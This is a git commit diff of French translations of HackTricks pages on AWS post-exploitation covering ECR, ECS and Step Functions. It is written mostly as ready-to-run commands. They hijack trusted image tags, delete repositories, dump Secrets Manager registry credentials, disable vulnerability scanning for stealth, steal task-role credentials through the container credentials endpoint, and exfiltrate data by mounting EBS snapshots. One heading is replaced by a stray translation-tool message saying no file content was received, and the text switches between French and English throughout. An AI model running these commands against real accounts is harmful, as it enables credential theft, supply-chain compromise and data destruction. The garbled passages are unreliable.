mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
# AWS - ECR Post-exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -47,15 +47,73 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Après avoir téléchargé les images, vous devriez **les vérifier pour des informations sensibles**:
|
||||
Après avoir téléchargé les images, vous devriez **vérifier qu'elles ne contiennent pas d'informations sensibles**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Overwrite a Trusted Tag via `ecr:PutImage` (Tag Hijacking / Supply Chain)
|
||||
|
||||
Si des consommateurs déploient par tag (par exemple `stable`, `prod`, `latest`) et que les tags sont modifiables, `ecr:PutImage` peut être utilisé pour **pointer un tag de confiance** vers du contenu contrôlé par l'attaquant en téléversant un manifest d'image sous ce tag.
|
||||
|
||||
Une approche courante consiste à copier le manifest d'un tag existant contrôlé par l'attaquant (ou d'un digest) et à écraser le tag de confiance avec celui-ci.
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO="<repo_name>"
|
||||
SRC_TAG="backdoor" # attacker-controlled tag already present in the repository
|
||||
DST_TAG="stable" # trusted tag used by downstream systems
|
||||
|
||||
# 1) Fetch the manifest behind the attacker tag
|
||||
MANIFEST="$(aws ecr batch-get-image \
|
||||
--region "$REGION" \
|
||||
--repository-name "$REPO" \
|
||||
--image-ids imageTag="$SRC_TAG" \
|
||||
--query 'images[0].imageManifest' \
|
||||
--output text)"
|
||||
|
||||
# 2) Overwrite the trusted tag with that manifest
|
||||
aws ecr put-image \
|
||||
--region "$REGION" \
|
||||
--repository-name "$REPO" \
|
||||
--image-tag "$DST_TAG" \
|
||||
--image-manifest "$MANIFEST"
|
||||
|
||||
# 3) Verify both tags now point to the same digest
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text
|
||||
```
|
||||
**Impact**: toute charge de travail récupérant `.../$REPO:$DST_TAG` recevra un contenu choisi par l'attaquant sans aucune modification des IaC, Kubernetes manifests, ou task definitions.
|
||||
|
||||
#### Exemple de consommateur en aval: Lambda images de conteneur se rafraîchissant automatiquement lors des mises à jour de tag
|
||||
|
||||
Si une fonction Lambda est déployée en tant que **image de conteneur** (`PackageType=Image`) et utilise un **ECR tag** (par ex., `:stable`, `:prod`) au lieu d'un digest, écraser ce tag peut transformer une altération de la chaîne d'approvisionnement en **exécution de code dans le rôle d'exécution Lambda** une fois la fonction rafraîchie.
|
||||
|
||||
Comment énumérer cette situation:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Find image-based Lambda functions and their ImageUri
|
||||
aws lambda list-functions --region "$REGION" \
|
||||
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
|
||||
tr '\t' '\n' | while read -r fn; do
|
||||
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
|
||||
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
|
||||
done
|
||||
|
||||
# 2) Check whether a function references a mutable tag (contains ":<tag>")
|
||||
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
|
||||
```
|
||||
Comment le rafraîchissement se produit fréquemment :
|
||||
|
||||
- CI/CD ou GitOps appelle régulièrement `lambda:UpdateFunctionCode` (même avec le même `ImageUri`) pour forcer Lambda à résoudre de nouveau le tag.
|
||||
- Une automation pilotée par événements écoute les événements d'images ECR (push/mises à jour de tag) et déclenche un Lambda/une automation de rafraîchissement.
|
||||
|
||||
Si vous pouvez écraser le tag de confiance et qu'un mécanisme de rafraîchissement existe, la prochaine invocation de la fonction exécutera du code contrôlé par l'attaquant, qui pourra alors lire les variables d'environnement, accéder à des ressources réseau et appeler les API AWS en utilisant le rôle Lambda (par exemple, `secretsmanager:GetSecretValue`).
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Un attaquant disposant de l'une de ces permissions peut **créer ou modifier une politique de cycle de vie pour supprimer toutes les images dans le dépôt** puis **supprimer l'intégralité du dépôt ECR**. Cela entraînerait la perte de toutes les images de conteneurs stockées dans le dépôt.
|
||||
Un attaquant disposant de l'une de ces permissions peut **créer ou modifier une lifecycle policy pour supprimer toutes les images du repository** puis **supprimer l'ensemble du ECR repository**. Cela entraînerait la perte de toutes les images de conteneurs stockées dans le repository.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,9 +148,9 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
### Exfiltrer les identifiants de registres en amont depuis ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Si ECR Pull‑Through Cache est configuré pour des upstream registries authentifiées (Docker Hub, GHCR, ACR, etc.), les upstream registry credentials sont stockés dans AWS Secrets Manager avec un préfixe de nom prévisible : `ecr-pullthroughcache/`. Les opérateurs accordent parfois aux administrateurs ECR un large accès en lecture à Secrets Manager, permettant credential exfiltration et reuse en dehors d'AWS.
|
||||
Si ECR Pull‑Through Cache est configuré pour des registres en amont authentifiés (Docker Hub, GHCR, ACR, etc.), les identifiants en amont sont stockés dans AWS Secrets Manager avec un préfixe de nom prévisible : `ecr-pullthroughcache/`. Les opérateurs accordent parfois aux admins ECR un accès lecture étendu à Secrets Manager, ce qui permet l'exfiltration des identifiants et leur réutilisation en dehors d'AWS.
|
||||
|
||||
Prérequis
|
||||
- secretsmanager:ListSecrets
|
||||
@@ -104,7 +162,7 @@ aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Extraire les secrets découverts et analyser les champs communs
|
||||
Dump discovered secrets et analyser les champs communs
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -119,20 +177,20 @@ Optionnel : valider les leaked creds contre l'upstream (read‑only login)
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impact
|
||||
- La lecture de ces entrées Secrets Manager fournit des identifiants réutilisables pour le registre upstream (username/password or token), qui peuvent être exploités en dehors d'AWS pour récupérer des images privées ou accéder à des dépôts supplémentaires selon les permissions upstream.
|
||||
- La lecture de ces entrées Secrets Manager permet d'obtenir des identifiants réutilisables du registre en amont (username/password ou token), qui peuvent être abusés en dehors d'AWS pour récupérer des images privées ou accéder à des dépôts supplémentaires selon les permissions en amont.
|
||||
|
||||
|
||||
### Registry-level stealth: désactiver ou réduire l'analyse via `ecr:PutRegistryScanningConfiguration`
|
||||
### Furtivité au niveau du registre : désactiver ou rétrograder l'analyse via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Un attaquant disposant de permissions ECR au niveau du registre peut silencieusement réduire ou désactiver l'analyse automatique des vulnérabilités pour TOUS les dépôts en configurant la registry scanning configuration sur BASIC sans aucune règle scan-on-push. Cela empêche les nouvelles images poussées d'être analysées automatiquement, masquant ainsi des images vulnérables ou malveillantes.
|
||||
Un attaquant disposant de permissions ECR au niveau du registre peut silencieusement réduire ou désactiver l'analyse automatique des vulnérabilités pour TOUS les dépôts en définissant la configuration de scanning du registre sur BASIC sans aucune règle scan-on-push. Cela empêche les nouveaux pushs d'images d'être analysés automatiquement, masquant des images vulnérables ou malveillantes.
|
||||
|
||||
Prérequis
|
||||
Requirements
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optionnel, par dépôt)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (vérification)
|
||||
|
||||
Rétrogradation à l'échelle du registre vers manuel (aucun scan automatique)
|
||||
Registry-wide downgrade to manual (no auto scans)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -159,7 +217,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Optionnel : dégrader davantage au niveau du dépôt
|
||||
Je n’ai pas reçu le contenu du fichier src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md. Collez le contenu ici et je le traduirai en français en respectant vos consignes (conserver la syntaxe Markdown/HTML, ne pas traduire le code, noms de services, liens, chemins, tags, etc.).
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -168,19 +226,19 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impact
|
||||
- Les nouveaux pushs d'images dans tout le registre ne sont pas analysés automatiquement, réduisant la visibilité du contenu vulnérable ou malveillant et retardant la détection jusqu'à ce qu'une analyse manuelle soit lancée.
|
||||
- Les nouvelles pushes d'images dans le registry ne sont pas scannées automatiquement, ce qui réduit la visibilité du contenu vulnérable ou malveillant et retarde la détection jusqu'à ce qu'un scan manuel soit lancé.
|
||||
|
||||
|
||||
### Rétrogradation du moteur de scan à l'échelle du registre via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Réduisez la qualité de détection des vulnérabilités pour l'ensemble du registre en basculant le moteur de scan BASIC du réglage par défaut AWS_NATIVE vers l'ancien moteur CLAIR. Cela n'empêche pas le scan, mais peut modifier de façon significative les résultats/couverture. Combinez avec une configuration de scan BASIC du registre sans règles pour rendre les scans uniquement manuels.
|
||||
Réduisez la qualité de détection des vulnérabilités sur l'ensemble du registre en basculant le moteur de scan BASIC par défaut d'AWS_NATIVE vers le moteur legacy CLAIR. Cela n'empêche pas le scanning mais peut modifier de manière significative les résultats/couverture. Combinez avec une configuration de scan registry BASIC sans règles pour rendre les scans uniquement manuels.
|
||||
|
||||
Requirements
|
||||
Prérequis
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
- (Optionnel) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impact
|
||||
- La configuration du registre `BASIC_SCAN_TYPE_VERSION` est définie sur `CLAIR`, de sorte que les scans BASIC suivants s'exécutent avec le moteur rétrogradé. CloudTrail enregistre l'appel API `PutAccountSetting`.
|
||||
- Le paramètre du registre `BASIC_SCAN_TYPE_VERSION` est défini sur `CLAIR`, de sorte que les scans BASIC suivants s'exécutent avec le moteur dégradé. CloudTrail enregistre l'appel API `PutAccountSetting`.
|
||||
|
||||
Étapes
|
||||
```bash
|
||||
@@ -201,7 +259,7 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
### Scanner les images ECR pour les vulnérabilités
|
||||
### Scanner les images ECR à la recherche de vulnérabilités
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
|
||||
@@ -10,35 +10,35 @@ Pour plus d'informations, consultez :
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rôles IAM de l'hôte
|
||||
### Host IAM Roles
|
||||
|
||||
Dans ECS un **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Ce qui signifie que si vous parvenez à **compromettre** une instance ECS vous pouvez potentiellement **obtenir le IAM role associé à l'ECR et à l'instance EC2**. Pour plus d'infos sur comment récupérer ces credentials, consultez :
|
||||
Dans ECS, une **IAM role peut être assignée à la task** s'exécutant à l'intérieur du container. **Si** la task est exécutée sur une **EC2** instance, l'**EC2 instance** aura **une autre IAM** role attachée.
|
||||
Ce qui signifie que si vous parvenez à **compromise** une instance ECS, vous pouvez potentiellement **obtenir le IAM role associé à l'ECR et à l'instance EC2**. Pour plus d'infos sur comment récupérer ces credentials, consultez :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
|
||||
> IMDSv2 avec une limite de saut de 1 **ne bloque pas** les tâches awsvpc ou host-networked — seules les tâches Docker bridge sont suffisamment éloignées pour que les réponses disparaissent. Voir [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) pour le workflow d'attaque complet et les notes de contournement. Des recherches récentes de [Latacora](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) montrent que les tâches awsvpc et host continuent de récupérer les host credentials même lorsque IMDSv2+h=1 est appliqué.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
De plus, EC2 utilise docker pour exécuter les ECS tasks, donc si vous pouvez vous échapper vers le nœud ou **accéder au socket docker**, vous pouvez **vérifier** quels **autres conteneurs** sont en cours d'exécution, et même **entrer dedans** et **voler leurs IAM roles** attachés.
|
||||
But moreover, EC2 uses docker to run ECS tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
|
||||
|
||||
#### Faire exécuter des conteneurs sur l'hôte actuel
|
||||
#### Making containers run in current host
|
||||
|
||||
De plus, le **EC2 instance role** aura généralement suffisamment de **permissions** pour **mettre à jour le container instance state** des instances EC2 utilisées comme nœuds dans le cluster. Un attaquant pourrait modifier **l'état d'une instance en DRAINING**, alors ECS **retirera toutes les tasks de celle-ci** et celles exécutées en tant que **REPLICA** seront **lancées sur une autre instance**, potentiellement à l'intérieur de **l'instance de l'attaquant** afin qu'il puisse **voler leurs IAM roles** et d'éventuelles informations sensibles depuis l'intérieur du conteneur.
|
||||
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
La même technique peut être réalisée en **retirant l'instance EC2 du cluster**. Ceci est potentiellement moins discret mais cela va **forcer l'exécution des tâches sur d'autres instances :**
|
||||
La même technique peut être effectuée en **désenregistrant l'EC2 instance du cluster**. Cela est potentiellement moins discret mais cela va **forcer les tâches à s'exécuter sur d'autres instances :**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Une dernière technique pour forcer la réexécution des tâches consiste à indiquer à ECS que la **task or container was stopped**. Il existe 3 API potentielles pour cela :
|
||||
Une dernière technique pour forcer la ré-exécution des tasks est d'indiquer à ECS que le **task or container was stopped**. Il existe 3 APIs potentielles pour cela :
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,40 +50,49 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Voler des informations sensibles depuis des conteneurs ECR
|
||||
#### Rejoindre le Cluster Avec un Hôte Attaquant (Register Container Instance)
|
||||
|
||||
L'instance EC2 aura probablement aussi l'autorisation `ecr:GetAuthorizationToken` lui permettant de **télécharger des images** (vous pouvez rechercher des informations sensibles à l'intérieur).
|
||||
Une autre variante (plus directe que le draining) consiste à **ajouter de la capacité que vous contrôlez** au cluster en enregistrant une instance EC2 comme container instance (`ecs:RegisterContainerInstance`) et en définissant les attributs requis de l'instance container pour que les contraintes de placement correspondent. Une fois que des tasks atterrissent sur votre hôte, vous pouvez inspecter/exécuter dans les containers et récupérer les identifiants `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`.
|
||||
|
||||
Voir la section de la page ECS privesc sur `ecs:RegisterContainerInstance` pour le workflow complet.
|
||||
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
L'instance EC2 aura probablement aussi la permission `ecr:GetAuthorizationToken` lui permettant de **télécharger des images** (vous pourriez y chercher des informations sensibles).
|
||||
|
||||
### Steal Task Role Credentials via `ecs:ExecuteCommand`
|
||||
|
||||
Si `ExecuteCommand` est activé sur une task, un principal disposant de `ecs:ExecuteCommand` + `ecs:DescribeTasks` peut ouvrir un shell dans le container en cours d'exécution puis interroger le **task credentials endpoint** pour récupérer les identifiants du **task role** :
|
||||
|
||||
- Depuis l'intérieur du container : `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"`
|
||||
- Utiliser les `AccessKeyId/SecretAccessKey/Token` retournés pour appeler les APIs AWS en tant que task role
|
||||
|
||||
### Monter un snapshot EBS directement dans une tâche ECS (configuredAtLaunch + volumeConfigurations)
|
||||
Voir la page ECS privilege escalation pour l'énumération et des exemples de commandes.
|
||||
|
||||
Abusez de l'intégration native ECS EBS (2024+) pour monter le contenu d'un snapshot EBS existant directement dans une nouvelle tâche/service ECS et lire ses données depuis l'intérieur du conteneur.
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
- Nécessite (minimum) :
|
||||
Abuser de l'intégration native ECS EBS (2024+) pour monter le contenu d'un snapshot EBS existant directement dans une nouvelle task/service ECS et lire ses données depuis l'intérieur du container.
|
||||
|
||||
- Needs (minimum):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- L'un des : ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole sur :
|
||||
- rôle d'infrastructure ECS utilisé pour les volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles référencés par la définition de tâche
|
||||
- Si le snapshot est chiffré avec une CMK : permissions KMS pour le rôle infra (la managed policy AWS ci-dessus inclut les grants KMS requis pour les clés gérées AWS).
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
|
||||
- Impact : Lire arbitrairement le contenu du disque depuis le snapshot (par ex., fichiers de base de données) à l'intérieur du conteneur et exfiltrer via le réseau/logs.
|
||||
- Impact: Lire arbitrairement le contenu du disque depuis le snapshot (par ex. fichiers de base de données) à l'intérieur du container et exfiltrer via le réseau/les logs.
|
||||
|
||||
Étapes (exemple Fargate) :
|
||||
Steps (Fargate example):
|
||||
|
||||
1) Créez le rôle d'infrastructure ECS (s'il n'existe pas) et attachez la managed policy :
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Enregistrez une task definition avec un volume marqué `configuredAtLaunch` et montez-le dans le conteneur. Exemple (affiche le secret puis reste en veille) :
|
||||
2) Enregistrer une task definition avec un volume marqué `configuredAtLaunch` et le monter dans le container. Exemple (affiche le secret puis se met en veille) :
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -103,7 +112,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Créez ou mettez à jour un service en passant l'instantané EBS via `volumeConfigurations.managedEBSVolume` (requiert iam:PassRole sur le rôle d'infrastructure). Exemple :
|
||||
3) Créer ou mettre à jour un service en passant le snapshot EBS via `volumeConfigurations.managedEBSVolume` (requiert iam:PassRole sur le rôle d'infrastructure). Exemple:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -117,7 +126,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Lorsque la task démarre, le container peut lire le contenu du snapshot au mount path configuré (par ex., `/loot`). Exfiltrer via le réseau/logs de la task.
|
||||
4) Lorsque la tâche démarre, le conteneur peut lire le contenu du snapshot à l'emplacement de montage configuré (par ex., `/loot`). Exfiltrer via le réseau/les logs de la tâche.
|
||||
|
||||
Nettoyage :
|
||||
```bash
|
||||
@@ -127,6 +136,6 @@ aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## Références
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora - ECS on EC2: Combler les lacunes dans IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,18 +12,18 @@ Pour plus d'informations sur ce service AWS, consultez :
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Cette permission permet de **révéler des données secrètes à l'intérieur d'une exécution**. Pour cela, il est nécessaire de définir le niveau d'inspection (Inspection level) sur TRACE et le paramètre revealSecrets sur true.
|
||||
Cette permission permet de **révéler des données secrètes à l'intérieur d'une exécution**. Pour cela, il faut définir le niveau d'inspection sur TRACE et le paramètre revealSecrets sur true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Un attaquant disposant de ces permissions pourrait supprimer de manière permanente des state machines, leurs versions et alias. Cela peut perturber des workflows critiques, entraîner une perte de données et nécessiter un temps important pour récupérer et restaurer les state machines affectées. De plus, cela permettrait à un attaquant d'effacer les traces utilisées, de perturber les investigations forensiques et potentiellement de paralyser les opérations en supprimant des processus d'automatisation essentiels et les configurations d'état.
|
||||
Un attaquant disposant de ces permissions pourrait supprimer définitivement des state machines, leurs versions et alias. Cela peut perturber des workflows critiques, entraîner une perte de données et nécessiter un temps important pour récupérer et restaurer les state machines affectées. De plus, cela permettrait à un attaquant d'effacer les traces utilisées, de perturber les enquêtes forensiques et potentiellement de paralyser les opérations en supprimant des processus d'automatisation essentiels et des configurations d'état.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - En supprimant une state machine, vous supprimez également toutes ses versions et alias associés.
|
||||
> - En supprimant un alias de state machine, vous ne supprimez pas les versions de la state machine faisant référence à cet alias.
|
||||
> - En supprimant un alias de state machine, vous ne supprimez pas les versions de state machine faisant référence à cet alias.
|
||||
> - Il n'est pas possible de supprimer une version de state machine actuellement référencée par un ou plusieurs alias.
|
||||
```bash
|
||||
# Delete state machine
|
||||
@@ -33,41 +33,83 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Impact potentiel** : Perturbation des workflows critiques, perte de données et indisponibilité opérationnelle.
|
||||
- **Impact potentiel**: perturbation des workflows critiques, perte de données et indisponibilité opérationnelle.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Un attaquant disposant de cette permission pourrait manipuler la configuration d'échec de Map Run et le paramètre de parallélisme, pouvant augmenter ou diminuer le nombre maximal d'exécutions de workflows enfants autorisées, affectant directement la disponibilité et les performances du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre d'échecs tolérés, pouvant réduire cette valeur à 0, de sorte que chaque fois qu'un élément échoue, l'intégralité du Map Run échouerait, affectant directement l'exécution de la state machine et perturbant potentiellement des workflows critiques.
|
||||
Un attaquant disposant de cette permission pourrait manipuler la configuration d'échec de Map Run et le paramètre parallel, pouvant augmenter ou diminuer le nombre maximal d'exécutions enfants de workflow autorisées, affectant directement les performances du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre de défaillances tolérées, pouvant réduire cette valeur à 0, de sorte que chaque fois qu'un élément échoue, le Map Run entier échouerait, affectant directement l'exécution de la state machine et perturbant potentiellement des workflows critiques.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Impact potentiel**: Dégradation des performances et perturbation des workflows critiques.
|
||||
- **Impact potentiel**: Dégradation des performances et perturbation des processus critiques.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Un attaquant disposant de cette permission pourrait arrêter l'exécution de n'importe quelle state machine, perturbant les workflows et processus en cours. Cela pourrait entraîner des transactions incomplètes, l'arrêt des opérations commerciales et une possible corruption des données.
|
||||
Un attaquant disposant de cette autorisation pourrait être en mesure d'arrêter l'exécution de n'importe quelle machine d'état, perturbant les workflows et processus en cours. Cela pourrait entraîner des transactions incomplètes, l'arrêt des opérations métier et une corruption potentielle des données.
|
||||
|
||||
> [!WARNING]
|
||||
> Cette action n'est pas prise en charge par les **express state machines**.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Impact potentiel** : Perturbation des workflows en cours, indisponibilité opérationnelle et possible corruption des données.
|
||||
- **Impact potentiel**: Perturbation des workflows en cours, indisponibilité opérationnelle et possible corruption des données.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Un attaquant pourrait ajouter, modifier ou supprimer des tags des ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les tags.
|
||||
Un attacker pourrait ajouter, modifier ou supprimer des tags sur les ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les tags.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impact potentiel** : perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur les tags.
|
||||
**Potential Impact**: Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur les tags.
|
||||
|
||||
---
|
||||
|
||||
### `states:StartExecution` -> Injection d'input dans des sinks dangereux
|
||||
|
||||
`states:StartExecution` est un point d'entrée data-plane. Si une state machine transfère un input contrôlé par l'attaquant vers une task qui contient un sink dangereux (par exemple une Lambda qui exécute `pickle.loads(base64.b64decode(payload_b64))`), vous pouvez parfois transformer **StartExecution** en **code execution** et **secret exfiltration** via la sortie d'exécution, sans aucune permission pour mettre à jour la state machine.
|
||||
|
||||
#### Découvrir le workflow et la Lambda invoquée
|
||||
|
||||
Si vous avez `states:List*` / `states:Describe*`, vous pouvez énumérer et lire la définition de la state machine :
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
SM_ARN="<state_machine_arn>"
|
||||
